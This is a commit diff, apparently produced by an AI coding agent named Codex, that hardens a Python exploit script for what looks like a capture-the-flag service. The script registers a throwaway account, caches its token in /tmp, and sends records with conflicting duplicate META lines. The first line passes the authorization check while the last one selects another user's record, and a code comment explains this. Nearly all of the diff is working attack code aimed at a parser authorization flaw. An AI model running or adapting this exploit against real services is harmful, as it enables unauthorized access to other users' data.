stabilize-Neo-exploits

This commit is contained in:
Codex committed 2026-11-29 12:14:44 +00:00
1 parent b60d431b67
commit c49ccab44d
2 files changed
+113 -95

No files matched your search

+60 -24
View File
@@ -11,10 +11,13 @@ from __future__ import annotations
import argparse
import base64
import hashlib
import json
import re
import secrets
import sys
import time
from pathlib import Path
from urllib.parse import urlsplit, urlunsplit
import requests
@@ -50,6 +53,25 @@ def json_response(response: requests.Response):
return data
def state_path(base: str) -> Path:
key = hashlib.sha256(base.encode("utf-8")).hexdigest()[:16]
return Path("/tmp") / f"wahrwelt-braindance-{key}.json"
def load_state(path: Path):
try:
return json.loads(path.read_text())
except (OSError, ValueError):
return {}
def save_state(path: Path, state) -> None:
try:
path.write_text(json.dumps(state, separators=(",", ":")))
except OSError:
pass
def main() -> int:
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("base_url", help="service URL, e.g. http://10.0.0.5:5000")
@@ -58,32 +80,46 @@ def main() -> int:
base = service_url(args.base_url)
session = requests.Session()
username = f"probe_{secrets.token_hex(5)}"
account = json_response(session.post(
f"{base}/register",
json={"username": username, "bio": "ctf"},
timeout=10,
))
session.headers["Authorization"] = f"Bearer {account['token']}"
path = state_path(base)
state = load_state(path)
username = state.get("username")
token = state.get("token")
if not username or not token:
username = f"probe_{secrets.token_hex(5)}"
account = json_response(session.post(
f"{base}/register",
json={"username": username, "bio": "ctf"},
timeout=10,
))
token = account["token"]
state = {"username": username, "token": token}
save_state(path, state)
session.headers["Authorization"] = f"Bearer {token}"
gallery = json_response(session.get(f"{base}/gallery?limit=200", timeout=10))
source = args.record_id
if source is None:
source = next((r["id"] for r in gallery.get("records", []) if r.get("owner") != username), None)
if source is None:
raise RuntimeError("no source record found")
now = time.time()
rid = state.get("record")
if not rid or now - float(state.get("created", 0)) >= 240:
gallery = json_response(session.get(f"{base}/gallery?limit=200", timeout=10))
source = args.record_id
if source is None:
source = next((r["id"] for r in gallery.get("records", []) if r.get("owner") != username), None)
if source is None:
raise RuntimeError("no source record found")
# The first META is used for the source authorization check; the last
# META controls the inherited record. Keeping them different triggers
# the vulnerable branch in the old parser.
body = f"BDv1\nMETA source=-\nMETA source={source}\n"
created = json_response(session.post(
f"{base}/records",
data=body,
headers={"Content-Type": "text/plain"},
timeout=10,
))
rid = created["id"]
state.update(record=rid, source=source, created=now)
save_state(path, state)
# The first META is used for the source authorization check; the last
# META controls the inherited record. Keeping them different triggers
# the vulnerable branch in the old parser.
body = f"BDv1\nMETA source=-\nMETA source={source}\n"
created = json_response(session.post(
f"{base}/records",
data=body,
headers={"Content-Type": "text/plain"},
timeout=10,
))
rid = created["id"]
record = json_response(session.get(f"{base}/records/{rid}", timeout=10))
hits = []